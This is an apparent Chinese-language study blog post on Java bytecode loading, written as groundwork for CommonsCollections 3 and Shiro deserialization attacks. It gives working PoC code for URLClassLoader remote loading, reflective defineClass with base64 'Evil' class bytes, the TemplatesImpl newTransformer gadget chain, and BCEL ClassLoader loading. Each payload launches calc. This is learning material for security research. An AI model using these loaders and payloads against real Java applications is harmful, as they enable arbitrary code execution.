前言
要学shiro发现要会cc3,要会cc3发现要先学字节码哈哈哈
正文
利用ClassLoader加载远程字节码
poc
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoader {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URL[] urls = {new URL("http://127.0.0.1:8000/")};
URLClassLoader classLoader = URLClassLoader.newInstance(urls);
Class c = classLoader.loadClass("Exec");
c.newInstance();
}
}
构造一个恶意的类
import java.io.IOException;
public class Exec {
public Exec() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
利用javac编译成class文件生成Evil.class。或者直接在编译器运行,编译后的class文件
在存放字节码的目录,开启服务。例如我在桌面存放的字节码,在桌面开启服务后桌面就会作为根目录
执行poc加载http://localhost:8000/Exec.class,
可以看到服务端收到了请求
并且执行了命令
利用ClassLoader#defineClass 直接加载字节码文件
不管是加载远程class还是本地class或者Jar,java都要经历三个方法的调用
ClassLoader#loadClass
ClassLoader#findClass
#ClassLoader#defineClass
先利用刚刚生成的Exec.class生成base64字符(因为Exec.class存在不可见字符)
利用defineClass加载字节码
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.util.Base64;
public class ClassLoaderTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, InvocationTargetException {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADEAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAKRXhjZXB0aW9ucwcAGQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAGgwAGwAcAQAEY2FsYwwAHQAeAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAQABAAcACAACAAkAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACgAAAA4AAwAAAAQABAAFAA0ABgALAAAADAABAAAADgAMAA0AAAAOAAAABAABAA8AAQAQAAAAAgAR");
Class Evil = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"Evil",code,0,code.length);
Evil.newInstance();
}
}
利用TemplatesImpl加载字节码
虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它(否则他
也没存在的价值了对吧),这就是 TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类TransletClassLoader
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
看到在TransletClassLoader这个类里面重写了defineClass方法。而这个类没有注明类型,默认为default只能为内部调用。
所以要找利用defineClass的链子。
发现只有一个方法调用了它
就是defineTransletClasses,再看谁调用了defineTransletClasses,找到三个结果这里使用getTransletInstance
再看谁调用了getTransletInstance,发现 newTransformer调用了它,且这个方法是public可以直接进行外部调用
这样利用链就出来了
TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()->
TransletClassLoader#defineClass()
在TemplatesImpl中存在一个构造器
public TemplatesImpl() { }
可以利用这个构造器获取类
public class template {
public static void main(String[] args) throws TransformerConfigurationException {
Templates templates = new TemplatesImpl();
}
}
跟进到newTransformer#getTransletInstance()
根据利用链想要执行defineTransletClasses要满足两个条件 __name不为空且_class为空
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
_name和 _class默认是null,所以我们要修改 _name的值
定义一个反射的方法来修改参数的值
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
现在的Poc是
public class template {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
setFieldValue(templates,"_name","Demo");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
继续往下走有几个条件
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
_bytecodes不能为空
中间的run方法调用了_tfactory.getExternalExtensionsMap(),跟进一下getExternalExtensionsMap()发现
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
再往下
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
_bytecodes[0]
就该是我们要加载的类的字节数组,所以
先生成字节码,
TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须 是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilTest extends AbstractTranslet{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public EvilTest() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
编译java文件生成字节码。
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg");
写入字节码
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
利用BCEL ClassLoader加载字节码
先写一个恶意类
import java.io.IOException;
public class Evil {
public Evil() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
执行字节码
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import javax.rmi.CORBA.Util;
import java.io.IOException;
public class BECL {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass cls = Repository.lookupClass(Evil.class);
String code = Utility.encode(cls.getBytes(),true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
}
只有加上$$BCEL$$
才会进行decode字节码,loadClass会判断类名
参考:
P神java漫谈
feng师傅:https://ego00.blog.csdn.net/article/details/119763746